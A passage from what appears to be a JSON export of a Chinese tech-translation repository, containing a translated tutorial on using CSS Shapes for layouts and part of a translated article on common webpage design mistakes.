[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/art-direction-for-the-web-using-css-shapes.md",
    "content": "> * 原文地址：[Art Direction For The Web Using CSS Shapes](https://www.smashingmagazine.com/2019/04/art-direction-for-the-web-using-css-shapes/)\n> * 原文作者：[Andy Clarke](https://stuffandnonsense.co.uk/about)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/art-direction-for-the-web-using-css-shapes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/art-direction-for-the-web-using-css-shapes.md)\n> * 译者：[xujiujiu](https://github.com/xujiujiu)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234), [cyz980908](https://github.com/cyz980908), [portandbridge](https://github.com/portandbridge)\n\n# Web 使用 CSS Shapes 的艺术设计\n\n> “[web 的艺术设计](https://www.smashingmagazine.com/printed-books/art-direction-for-the-web/)” 的作者及设计师 Andy Clarke，在使用 CSS 创造令人惊喜的新设计时，从未害怕突破边界。在本教程中，他超越了基本的 CSS 形状，并展示了如何使用它们为你艺术的设计创建五种独特且有趣的布局。\n\n去年，Rachel Andrew 写了一篇文章，[重新审视 CSS Shapes](https://www.smashingmagazine.com/2018/09/css-shapes/) ，其中为读者重新介绍了 CSS Shapes 基础的使用。对于任何渴望了解如何使用 `shape-outside`、`shape-margin` 和 `shape-image-threshold` 等属性的人来说，这篇文章是理想的入门读物。\n\n我曾经见过很多用这些属性的例子，但是很少见到 Shapes 的高级用法，包括 `circle()`、`ellipse()`、`inset()`。甚至连使用 `polygon()` 的例子少之更少。考虑到 CSS Shapes 提供的创造性机会，这种现象也太令人失望了。但是，我确信只要有一点灵感和想象力，我们就可以制作出更具特色和吸引力的设计。所以，接下来，我将向你展示如何使用 CSS Shapes 创建以下五种不同类型的布局：\n\n1. [V 型](#1-v-型)\n2. [Z 型](#2-Z-型)\n3. [弯曲型](#3-弯曲型)\n4. [对角线型](#4-对角线型)\n5. [旋转型](#5-对角线型)\n\n### 一点启发\n\n遗憾的是，你在一些使用 CSS Shapes 的网站中找不到许多令人有启发的例子。但这并不意味着那里没有灵感 — 你只需要往深处寻找，比如广告、杂志和海报的设计。然而，如果只是模仿上一个时代的媒体对我们来说是愚蠢的。\n\n![你可以在意想不到的地方找到灵感，例如这些古董广告。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a92a6d6e-3e23-44dd-83ac-7d67831e81f4/img-1.png)\n\n你可以在意想不到的地方找到灵感，例如这些古董广告。\n\n在过去几年里，我已经在 Dropbox 文件夹放满了我的灵感，我真的应该把这些实例转移到 Pinterest 上。幸运的是，比我勤奋的 Kristopher Van Sant 已经在收集一个充满启发性的 [‘形状文本’的例子](https://www.pinterest.co.uk/kisstafurr/shapes-of-text/) 的 Pinterest 板了。\n\n形状为设计增加了活力，而且这种操作吸引了人们。它们有助于**将观众与你的故事联系起来**，并在你的视觉和书面内容之间建立更紧密的联系。\n\n当你需要内容在形状周围流动时，使用 `shape-outside` 属性。你必须向左或者向右浮动元素，以便 `shape-outside` 产生效果。\n\n```css\nimg {\n  float: <values>;\n  shape-outside: <values>;\n}\n```\n\n**注意：当有流动的内容围绕在形状的周围时，请注意不要让任何文本行变得太窄而只能容纳一两个单词。**\n\n开发动态和原始的布局通常需要极少的标签。这五个设计系列的 HTML 只包含标题和主要元素、图形、图像，并且通常不会比下面的更复杂：\n\n```html\n<header role=\"banner\">\n  <h1>Mini Cooper</h1>\n</header>\n\n<figure>\n  <img src=\"mini.png\" alt=\"Mini Cooper\">\n</figure>\n\n<main>\n…\n</main>\n```\n\n### 1. V 型\n\n对我来说，现代 CSS 一个超棒的地方就是，我不用绘制多边形路径，就可以用部分透明图像的 alpha 通道创建一个形状。我仅需要创建一个图像，剩下的事情浏览器都可以处理。\n\n我认为这是 CSS 中最令人惊喜的补充之一，它使得开发 Web 艺术设计更加简单，特别是在你开发内容管理系统或动态生成的内容时。\n\n![左：没有 CSS 形状，这种设计感觉枯燥无生气。右图：创建 V 形使这种设计更具特色和吸引力。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/165e495e-1a22-449a-9d86-192fa6dec7be/img-3-4.png)\n\n左图：没有 CSS 形状，这种设计感觉枯燥无生气。右图：创建 V 形使这种设计更具特色和吸引力\n\n要从图像中创建形状，它们必须具有完全或部分透明的 alpha 通道。在第一个设计中，我不需要绘制多边形以使内容在两侧的三角形形状之间流动；相反，我只需要指定图像文件的 URL 作为 `shape-outside` 值：\n\n```css\n[src*=\"shape-left\"],\n[src*=\"shape-right\"] {\n  width: 50%;\n  height: 100%;\n}\n\n[src*=\"shape-left\"] {\n  float: left;\n  shape-outside: url('alpha-left.png');\n}\n\n[src*=\"shape-right\"] {\n  float: right;\n  shape-outside: url('alpha-right.png');\n}\n```\n\n![一个 CSS 形状的例子](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/292b2666-7718-49b4-b82a-54052f1bbfc7/img-4.png)\n\n使用图像开发形状时，请注意 CORS（跨源资源共享）。图像必须与产品或网站托管在同一个域里。如果你使用 CDN，请确保它发送正确的标头以启用形状。值得注意的是，在本地测试形状的唯一方法是使用 Web 服务器。`file://` 协议根本不起作用。\n\n#### Generated Content 模块\n\n正如 Rachel 在她文章中说的那样：\n\n> “你还可以用一张图片作为形状的路径来做出弯曲文本的效果，而且在页面上可以不显示这张图片。但是，你仍需要浮动一些内容，因此，我们可以使用 Generated Content 模块。”\n\n作为 alpha 通道的替代，我可以使用 Generated Content — 应用于两个伪元素 — 一个用于左边的多边形，另一个用于右边。运行的文本将在两个生成的形状之间流动：\n\n```css\nmain::before {\n  content: \"\";\n  display: block;\n  float: left;\n  width: 50%;\n  height: 100%;\n  shape-outside: polygon(0 0, 0 100%, 100% 100%);\n}\n\nmain p:first-child::before {\n  content: \"\";\n  display: block;\n  float: right;\n  width: 50%;\n  height: 100%;\n  shape-outside: polygon(100% 0, 0 100%, 100% 100%);\n}\n```\n\n**注意：Bennett Feely 的 [CSS clip-path 制作](http://bennettfeely.com/clippy/) 是一个很棒的工具，用于计算与 CSS Shapes 一起使用的坐标值。**\n\n![在多个转折点处调整 alpha 图像的宽度，使之能够展示文本形状，以完美匹配其视口。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e55053ee-9096-4093-8bd5-4fd93a4e3411/img-5-6.png)\n\n在多个转折点处调整 alpha 图像的宽度，就能让流动文本的形状完美匹配其视口。\n\n### 2. Z 型\n\n当从左到右，从上到下阅读时，Z 型是我们眼睛所遵循的熟悉路径。通过沿着 Z 形的隐藏线放置内容，有助于引导读者沿着我们希望的路径阅读，例如 Call-To-Action（行动召唤）。低调的做法是用焦点或具有更高视觉重量的元素暗示，明显的做法则是使用 CSS Shapes。\n\n![在两个形状之间放入一小段文本，会形成一个 Z 形，它表明了在驾驶这款标志性小型车时，人们会感受到的速度和乐趣](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/57236ebd-12ee-4e43-8bde-55ee99b7de76/img-8.png)\n\n在两个形状之间放入一小段文本，会形成一个 Z 形，它表明了在驾驶这款标志性小型车时，人们会感受到的速度和乐趣。\n\n在这个设计中，一个不明显的 Z 型形成如下:\n\n1. 大图片横穿整个页面宽度，右对齐的标题强调断点。\n2. 运行文本块由两个 CSS Shapes 组成。\n3. 作为页脚的图形上的厚顶边框完成了 Z 型。\n\n没有必要使用复杂的标签来实现这个设计，我的 HTML 简单到只包含下面三个元素：\n\n```html\n<header role=\"banner\">\n  <h1>Mini Cooper:icon of the ’60s</h1>\n  <img src=\"banner.png\" alt=\"Mini Cooper\">\n</header>\n\n<main>\n  <img src=\"placeholder-left.png\" alt=\"\" aria-hidden=\"true\">\n  <img src=\"placeholder-right.png\" alt=\"\" aria-hidden=\"true\">\n  …\n</main>\n\n<figure role=\"contentinfo\">\n…\n</figure>\n```\n\n横跨整页的标题和图形的设计没什么需要说明的，但是两个多边形之间的流动文本设计有点复杂。为了实现这种 z 型设计，我选择将两个 1 x 1 px 的微小图像，放置到使用 `shape-outside` 的两个大的形状图像上。通过给这些图像设置 `aria-hidden` 属性，浏览器就不会绘制他们。\n\n给两个形状图像提供相同的尺寸后，我向左浮动一个图像，向右浮动另一个图像，这样我的运行文本就可以在它们之间流动：\n\n```css\n[src*=\"placeholder-left\"],\n[src*=\"placeholder-right\"] {\n  display: block;\n  width: 240px;\n  height: 100%;\n}\n\n[src*=\"placeholder-left\"] {\n  float: left;\n  shape-outside: url('shape-right.png');\n}\n\n[src*=\"placeholder-right\"] {\n  float: right;\n  shape-outside: url('shape-right.png');\n}\n```\n\n![左图：一种缺乏活力的可展现但却很普通的设计。右图：使用 CSS Shapes 展示了乐趣和速度。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e00dcb8e-642b-43ec-947b-349fea165d1d/img-7-8.png)\n\n左图：一种缺乏活力的可展现但却很普通的设计。右图：使用 CSS Shapes 展示了乐趣和速度。\n\n标志性的 Mini Cooper 驾驶起来快速而有趣。即使不用 CSS Shapes 做出的 Z 型布局也能完美呈现页面，但这种设计看起来很普通并且缺乏活力。但通过操作两个形状之间的一小段流动文本，便可以创建的 Z 型布局，这种布局暗示了驾驶这辆标志性小型车时的速度和乐趣。\n\n### 3. 弯曲型\n\nCSS Shapes 最迷人的一个方面是如何使用部分透明图像中的 alpha 通道创建优雅的形状。这种形状可以是我想象到的任何东西。我只需要创建一个图像，浏览器将会在它周围流动内容。\n\n虽然 [CSS Shapes 模块 2 级规范](https://drafts.csswg.org/css-shapes-2/) 中已经提出将内容限制在形状内，但目前无法知道是否以及何时可以在浏览器中实现。不过，虽然 `shape-inside`（暂时）不可用，这并不代表我用 `shape-outside` 创建不出类似的结果。\n\n![左：另一个可展示但普通的设计。右：使用 CSS Shapes 创建更独特的外观。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/4913ceec-6073-42f4-bd21-03b6f0ffe3e0/img-9-10.png)\n\n左：另一个可展示但普通的设计。右：使用 CSS Shapes 创建更独特的外观。\n\n通过将我的内容限制在右侧浮动的曲线图像中，我可以轻松地为下一个设计添加独特的外观。为了创建形状，我再次使用 `shape-outside` 属性，这次使用的值与可见图像的 URL 相同：\n\n```css\n[src*=\"curve\"] {\n  float: right;\n  width: 400px;\n  height: 100vh;\n  shape-outside: url('curve.png');\n}\n```\n\n为了在我的形状和在其周围流动的内容之间留出一些距离，`shape-margin` 属性在第一个形状的轮廓之外绘制出更多的形状。我可以使用任何 CSS 绝对长度单位 — 毫米、厘米、英寸、派卡、像素和点 — 或相对单位（`ch`、`em`、`ex`、`rem`、`vh` 和 `vw`）：\n\n```css\n[src*=\"curve\"] {\n  shape-margin: 3rem;\n}\n```\n\n#### 更多的边距\n\n为这种弯曲的设计添加移动文本不仅仅依赖于 CSS 形状。使用视口宽度单位，我为标题，图像和运行文本提供不同的左边距，每个边距与视口的宽度成比例。这会从我的标题尾部到汽车头部形成一条对角线：\n\n```css\nh1 {\n  margin-left: 5vw;\n}\n\nimg {\n  margin-left: 10vw;\n}\n\np {\n  margin-left: 20vw;\n}\n```\n\n### 4. 对角线型\n\n角度可以使布局看起来不那么结构化，感觉更有生机。不设置明确的结构，能让视野在组合物周围自由漫游。这种操作也能产生一种有活力的布局。\n\n我每天看到都是绕水平轴和垂直轴设置的设计，基于对角线的很稀少。每隔一段时间，我就会看到一个有角度的元素 - 也许是一个底部倾斜的横幅图形 - 但它对设计来说并没有什么必要。\n\n![在印刊设计中经常看到内容在形状周围流动，在 CSS Shapes 之前，这在 web 上是不可能实现的](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b8ab6fcc-9f78-470b-aa03-1b87ec597c6b/img-11-12.png)\n\n在印刊设计中经常看到内容在形状周围流动，在 CSS Shapes 之前，这在 web 上是不可能实现的。\n\n即使 CSS Grid 只涉及到列和行的设置，也没有理由不使用它来创建动态对角线。下一个设计只需要一个标题和主要元素：\n\n```html\n<header role=\"banner\">\n  <h1>Mini Cooper</h1>\n  <img src=\"banner.png\" alt=\"Mini Cooper\">\n</header>\n\n<main>\n  <img src=\"shape.png\" alt=\"\">\n  …\n</main>\n```\n\n为了在这个设计中创建对角线细节，我再次围绕一个向左浮动的形状图像流动内容。我再次使用 `shape-outside` 属性，其 URL 与可见图像相同，并在我的形状和围绕它的内容之间使用 `shape-margin` 设置距离：\n\n```css\n[src*=\"shape\"] {\n  float: left;\n  shape-outside: url('shape.png');\n  shape-margin: 3rem;\n}\n```\n\n鉴于响应式是网络的内在属性之一，我们很难预测内容将如何流动，但我们可以避免像这样的设计。如果所有正在运行的文本因为空间太小而无法适应形状，那每个形状都浮动意味着内容将流入到形状下方的空间。\n\n### 5. 旋转型\n\n为什么要满足于只使用 CSS Grid 和 Shapes 呢？有些几年前难以想象的布局，现在只要再引入 Transforms 就能做出来了。在最后一个例子中，要做到围绕图像中的汽车流动文本，同时旋转整个布局，需要这些属性的所有组合。\n\n![为什么只使用 CSS Grid 和 Shapes？](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/72c40e9f-fe9c-4253-a146-022ad53778c1/img-13.png)\n\n为什么只使用 CSS Grid 和 Shapes？\n\n由于这些汽车的图像没有透明的 alpha 通道，因此，在形状周围的流动文本需要包含仅包含 alpha 通道信息的第二个图像。\n\n![实现这种设计需要两个图像：一个可见，另一个要有 alpha 通道信息。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/4970459c-3ad8-4182-b089-965f233d2671/img-14.png)\n\n实现这种设计需要两个图像：一个可见，另一个要有 alpha 通道信息。\n\n这一次，我向右浮动可见图像并应用 `shape-outside` 属性，其 URL 与我的 alpha 通道图像一样：\n\n```css\n[src*=\"shape\"] {\n  float: right;\n  width: 50%;\n  shape-outside: url('alpha.png');\n  shape-margin: 1rem;\n}\n```\n\n你可能已经注意到我的两个图像都包含了我顺时针旋转了 10 度的元素。这些图像就位后，我可以朝相反的方向上旋转整个布局 10 度，以给出我的图像直立的错觉：\n\n```css\nbody {\n  transform: rotate(-10deg);\n}\n```\n\n![我将此布局旋转到足以使设计更具吸引力的角度，但却不会牺牲可读性。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7b3dddc2-c5b3-4e24-b65a-bc6368981523/img-15-16.png)\n\n我将此布局旋转到足以使设计更具吸引力的角度，但却不会牺牲可读性。\n\n### 栗子免费送：多边形形状塑造列\n\n**摘自 2019 年 3 月 26 日的“网上艺术指南”。**\n\n你可以创建仅具有类型的强大结构形状。结合 `polygon()` 形状和伪元素，你可以从运行文本的实体块中创建形状，就像 [Alexey Brodovitch](https://en.wikipedia.org/wiki/Alexey_Brodovitch) 的风格和他对 Harper’s Bazaar 有影响力的作品一样。\n\n![左：这些漂亮的数字太可爱了。它们也非常适合刻在那些内容上。右：当我使用没有背景或边框的不可见伪元素来开发多边形时，结果是两个异常形状的内容。](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b7832cb6-7eed-42e9-973b-3ddc0f7d5282/img-17-18.png)\n\n左：这些漂亮的数字太可爱了。它们也非常适合刻在那些内容上。右：当我使用没有背景或边框的不可见伪元素来开发多边形时，结果是两个异常形状的内容。\n\n我用两个文章构成这些列，即它们之间有一个沟槽和最大宽度，这有助于保持舒适度：\n\n```css\nbody {\n  display: grid;\n  grid-template-columns: 1fr 1fr;\n  grid-gap: 2vw;\n  max-width: 48em;\n}\n```\n\n因为有两个文章元素，我还为我的网格指定了两列，所以没有必要具体说明这些文章的位置。我可以让浏览器为我放置它们，剩下的就是将 `shape-outside` 应用于每列中生成的伪元素：\n\n```css\narticle:nth-of-type(1) p:nth-of-type(1)::before {\n  content: \"\";\n  float: left;\n  width: 160px;\n  height: 320px;\n  shape-outside: polygon(0px 0px, 90px 0px, [...]);\n}\n\narticle:nth-of-type(2) p:nth-of-type(2)::before {\n  content: \"\";\n  float: right;\n  width: 160px;\n  height: 320px;\n  shape-outside: polygon(20px 220px, 120px 0px, [...]);\n}\n```\n\n### 成果\n\n现在 Firefox 已经发布了一个支持 CSS Shapes 的版本，并在其开发工具中启动了一个 Shape Path Editor 插件，目前只有 Edge 不支持 CSS Shapes。由于微软宣布将他们自己的 EdgeHTML 渲染引擎改为 Chromium 的 Blink 引擎（一个与 Chrome 和 Opera 相同的引擎），这种情况很快就会改变。\n\n像 CSS Shapes 这样的工具现在为我们提供了无数可以利用艺术设计吸引读者的注意力并让他们保持参与的机会。我希望你现在和我一样兴奋！\n\n**编者注: Andy 的新书，《Web 艺术设计》（[预购地址](https://www.smashingmagazine.com/printed-books/art-direction-for-the-web/)），探索了 100 年的艺术设计，以及我们如何利用这些知识和最新的网络技术来创造更好的数字产品。[阅读摘录章节](http://provide.smashingmagazine.com/eBooks/Art-direction-FTW-excerpt.pdf?_ga=2.206394323.1550887490.1554923173-204951999.1554923173)，了解这本书的内容。**\n\n#### 更多资源\n\n* “[《Web 的艺术设计》](http://artdirectionfortheweb.com)” Andy Clarke 著\n* “[《重新审视 CSS Shapes》](https://www.smashingmagazine.com/2018/09/css-shapes/)” Rachel Andrew 著\n* “[CSS Shapes](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes)” MDN 网络文档，Mozilla\n* “[在 CSS 上编辑形状路径](https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes)” MDN 网络文档，Mozilla\n* “[Web 的艺术设计：一本新的畅销书](https://www.smashingmagazine.com/2019/03/art-direction-release/)” Smashing 杂志\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/articles-website-design-mistakes.md",
    "content": "> * 原文地址：[Common webpage design mistakes](http://blog-en.tilda.cc/articles-website-design-mistakes)\n> * 原文作者：[tilda](http://blog-en.tilda.cc/articles-website-design-mistakes)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/articles-website-design-mistakes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/articles-website-design-mistakes.md)\n> * 译者：[StellaBauhinia](https://github.com/StellaBauhinia)\n> * 校对者：[BillShiyaoZhang](https://github.com/BillShiyaoZhang)，[Hopsken](https://github.com/Hopsken)\n\n# 常见网页设计错误一览\n\n简单的排版和设计诀窍，助力你编写出出色的网页\n\n![](https://static.tildacdn.com/tild6662-3339-4234-b635-396133626363/_08.svg)\n\n## 需要避免的首页常见设计错误 \n\n**1. 页面内容没有分割成逻辑区域**\n\n如果页面信息被分组形成逻辑区域，用户会更容易看懂。请把内边距（Padding）设置成 120 像素到 180 像素，并且通过背景色把不同文本区域分开。\n\n![在不同组的相关信息间没有设置边距，而且这个设计稿需要用色块把](https://static.tildacdn.com/tild6338-3765-4565-b733-323464326432/-/empty/noroot_1.png)\n\n![](https://static.tildacdn.com/tild6662-3662-4139-b465-306238313938/-/empty/noroot_2.png)\n\n不同组的相关信息间没有设置边距，而且这个设计需要用色块把页面划分出逻辑区域。所以，目前这些信息让人很难看懂，而且文字的区域分组也很不清晰。  \n\n边距足够大，而且不同区域通过背景色分开，这让什么区域包含什么信息变得一目了然。\n\n**2. 页面元素的空白间距不相等**  \n\n请为页面的逻辑区域设置相等的空白间距。否则，你的页面会看起来很凌乱，用户不会把注意力均分到每一个区域上。\n\n![](https://static.tildacdn.com/tild6335-3338-4263-b430-636365313837/-/empty/_-1.png)\n\n![](https://static.tildacdn.com/tild6637-3936-4132-a433-373061663564/-/empty/_-1.png)\n\n不同位置的空白间距不均匀，并让人产生了公司信息与标题相连的印象，尽管每个区域的结构是一样的。  \n\n标题和内容上下的空白边距相等，让人意识到每个逻辑区域的信息一样重要。\n\n**3. 边距太小，意味着用户无法把内容分解成不同逻辑区域**  \n\n为了避免逻辑分区混在一起，请把它们隔开并插入大段空白（至少 120 像素）。\n\n![](https://static.tildacdn.com/tild6535-6264-4662-a364-333163663965/-/empty/__20170919__111314_.png)\n\n![](https://static.tildacdn.com/tild6135-6561-4630-a464-653162353735/-/empty/__20170919__111400.png)\n\n使用了窄边距，构成站点的区域彼此粘在了一起。这让页面很拥挤，而且十分费解 —— 网站访问者会以为这是一段纯文字，而不是含义不同的区域。 \n\n边距足够大，因此这两个区域很容易被区别开。\n\n**4. 避免图上文字与底图对比度太低**\n\n文字和背景之间应有足够的对比度。为了让文本更显眼，在底图上放一层（增加）对比度的滤镜。黑色比较流行，但你也可以使用鲜艳的颜色混合搭配。\n  \n另一个选择是从开始就使用高对比图片，并将放在照片较暗部分的上面。\n\n![](https://static.tildacdn.com/tild3265-3735-4231-b661-633937623564/-/empty/noroot.png)\n\n这张照片太亮，文字难以阅读\n\n![](https://static.tildacdn.com/tild3163-3033-4337-b939-303731623563/-/empty/noroot.png)\n\n在照片上使用滤镜后文字易于阅读了。\n\n**5. 页面上太多样式**  \n\n单页上的排版和设计样式太多，会看起来不专业，也难以阅读。为了避免这点，降低页面视觉饱和度，请限制自己只用一个字体和两个文字样式，如普通和加粗。\n\n![](https://static.tildacdn.com/tild3061-3261-4337-a133-303536616431/-/empty/ggtg.png)\n\n![](https://static.tildacdn.com/tild3738-6665-4133-b836-316463386665/-/empty/dbgdbg.png)\n\n由于使用了太多的排版样式，完全不清楚视觉重点在哪里。  \n\n为视觉饱和度只使用了一种字体，一种颜色和两种样式。本页排版看着很整洁。\n\n**6. 色块区域太窄了**\n\n请不要用色块突出狭窄的页面元素。它就是很难看。例如，标题已经通过它们的文字大小、样式和间距变得很显眼了。你想突出页面上的某一点吗？请在整个区域上使用背景色，包括相关的标题和文本。\n\n![](https://static.tildacdn.com/tild3164-6435-4063-a262-633165613635/-/empty/noroot.png)\n\n![](https://static.tildacdn.com/tild3337-3730-4631-a466-373330343238/-/empty/noroot.png)\n\n放置在彩色背景上的标题打破了页面的连续性，让它们看起来像分离的、独立的元素。  \n\n标题和相关文本使用了相同的背景。这表明它们属于同一逻辑区域。\n\n**7. 在窄栏中包含了太多文字**  \n\n当窄栏中含有大量文字时，阅读会很费劲，因为页面访问者不得不一行一行地跳转视线。另外，它就是很难看！最好减少列数，缩短文本长度，否则没人会看的。\n\n![](https://static.tildacdn.com/tild6639-3039-4437-b564-303364373363/-/empty/__20170919__111314_.png)\n\n![](https://static.tildacdn.com/tild3462-6430-4837-b465-386132303039/-/empty/__20170919__111400_.png)\n\n长而集中的栏列很难阅读  \n\n栏列中的文本很少，所以很容易阅读\n\n**8. 太多居中文字了**  \n\n当文本很短的时候，页面居中是一种很好的方式，否则用户很难高效地浏览。同时，从 24 像素开始增加字体大小。  \n  \n如果需要包含大量文本，请使用具有可折叠文本功能的区域（在 Tilda 中，它们是 TX12、TX16N 或者是按钮 BF703）。  \n\n![](https://static.tildacdn.com/tild6461-6364-4466-b037-383265636437/-/empty/noroot_3.png)\n\n![](https://static.tildacdn.com/tild6337-3962-4361-b861-653434643432/-/empty/noroot_4.png)\n\n长而集中的文字很难阅读\n\n标题下的短文本（均为居中样式）在页面上看起来很好\n\n**9. 文字覆盖住了图片的重要部分**  \n\n避免使用文本覆盖图片的有意义的部分或小细节。这样做的话你既会模糊图像，也使文本难以辨认。尝试不同的文字位置，如居中，左对齐或者垂直放置。\n\n![](https://static.tildacdn.com/tild3036-3030-4766-b361-376266626562/-/empty/ghtt.png)\n\n![](https://static.tildacdn.com/tild6431-3864-4635-a564-383039663335/-/empty/dgdfgf.png)\n\n这个标题挡住了女人的面容。（文字下的图片中）有大量细节，使文本难以阅读。  \n\n图片和文字都容易阅读，构图很好。\n\n**10. 误用视觉层次结构**  \n\n为了使页面上的信息层次清晰可见，封面上的标题字体应该大于其余标题，或者至少是相同大小。举个例子，如果标题很长，尤其要这么处理。  \n\n![](https://static.tildacdn.com/tild6162-6462-4735-b162-356533303736/-/empty/noroot_5_42.png)\n\n![](https://static.tildacdn.com/tild3638-6633-4232-a238-383133396266/-/empty/4_.png)\n\n封面上的标题不合比例地小于下面的标题，这很让人费解。为什么？它让第二个标题更显眼了。  \n\n封面上的标题比下面区域中的标题大，因此整个页面看起来协调一致。\n\n同样的原理适用于逻辑区域内的视觉层次结构。标题应该是页面上最大的设计元素，其次是较小的、不太突出的子标题。接下来，内容标题应明显小于主标题，但使用相同的粗细程度。最小的字体应该用于内容描述。  \n  \n这将有助于页面访问者区分最重要和次等重要的信息。\n\n![](https://static.tildacdn.com/tild3266-3936-4132-b266-316538306438/-/empty/noroot_.png)\n\n![](https://static.tildacdn.com/tild3035-3736-4563-b039-346439343137/-/empty/4_1_.png)\n\n主标题比内容标题小，看着像从属内容，尽管它在整体内容中更重要。\n\n主标题是页面上最突出的元素，虽然内容标题的字体较小，但仍然清晰可见。\n\n**11. 一个逻辑区域拆成两个**  \n\n一个跟在文本之后，占据全屏的图像或图片画廊，显得跟独立的区域很像。如果你在图片画廊周围添加边距，由于背景一致，文字和图像看起来是一个逻辑区域整体。 \n\n![](https://static.tildacdn.com/tild6563-3763-4638-b231-613336373531/-/empty/noroot_6.png)\n\n![](https://static.tildacdn.com/tild6361-3762-4139-b832-386133616137/-/empty/noroot_7.png)\n\n全屏的图片画廊看起来与上面的标题脱节，像一个独立的区域。\n\n图片画廊和它上面的标题背景一致，这使整个构图看着紧密。\n\n**12. 标题太大太长**  \n\n对短句子来说，超大字体是完美适配的。如果标题较长，请使用小号字体。这将利于阅读，并给其它的设计元素在页面上留出足够的空间。\n\n![](https://static.tildacdn.com/tild3965-3362-4531-b637-353466626339/-/empty/ddfb.png)\n\n![](https://static.tildacdn.com/tild3839-3862-4333-b234-623335643236/-/empty/ggb.png)\n\n标题太大，占据了整个封面，而别的设计元素挤在剩余空间中，标题也很难阅读。 \n\n这个页面被有机地整合到一起，所有的设计元素之间都是协调的，文字也利于阅读。\n\n**13. 误用按钮的边框样式**  \n\n当按钮是透明的时候，边框是必需的。为一个带颜色的按钮添加边框是没有意义的，它是另一个无意义的设计特性，会让页面变得拥挤，并难以阅读。\n\n![](https://static.tildacdn.com/tild3034-6436-4436-a131-323039316636/noroot.png)\n\n**14. 使用太多种颜色了**  \n\n在页面上使用太多种颜色很令人费解, 而且让人闹不清哪些部分更重要。一两种颜色足以给真正重要的东西带来突出的视觉效果。\n\n![](https://static.tildacdn.com/tild3330-3362-4636-b132-313337643536/-/empty/dfgdg.png)\n\n![](https://static.tildacdn.com/tild6461-3831-4261-a666-396132333666/-/empty/dgdgd.png)\n\n页面上鲜艳的颜色太多了，这很混乱。  \n\n一种颜色作为基调，在此之上衍生出色彩多样性，这样就不干扰页面内容了。\n\n**15. 拥挤的菜单**  \n\n人们访问网站是要为他们的问题找到解决方法。请帮助他们！使用菜单帮助人们浏览网站，并简单快速地让他们找到需要的东西。不要堆积过多信息使他们不堪重负。5-7 个菜单项就足够了。  \n\n![](https://static.tildacdn.com/tild3439-6233-4136-b938-396137326564/-/empty/noroot.png)\n\n这个菜单包含了太多信息，让页面导航变得很困难。\n\n![](https://static.tildacdn.com/tild3361-6464-4436-b664-316464393930/-/empty/noroot.png)\n\n一个简单的菜单让你很容易找到你需要的东西。\n\n## 文章的排版设计错误 \n\n**1. 密密麻麻的文字长段**  \n\n一堵墙一样的文字让阅读变得费劲并难以理解。为了舒适的浏览体验，请将其拆分为段落，或引入如关键句样式、图片作为阅读区的分隔。\n\n![](https://static.tildacdn.com/tild3939-3464-4266-b864-636166643064/-/empty/noroot_6.png)\n\n![](https://static.tildacdn.com/tild6366-3264-4432-a162-643133313439/-/empty/noroot_7.png)\n\n一堵墙一样的文字，很难阅读。\n\n引用句或图片这样的页面元素使阅读文本更容易。\n\n**2. 标题与上下段落距离相等**\n\n标题不应该以相等距离挂在章节中间，因为它归属于下面的段落。标题距上方的距离应该比下方大 2-3 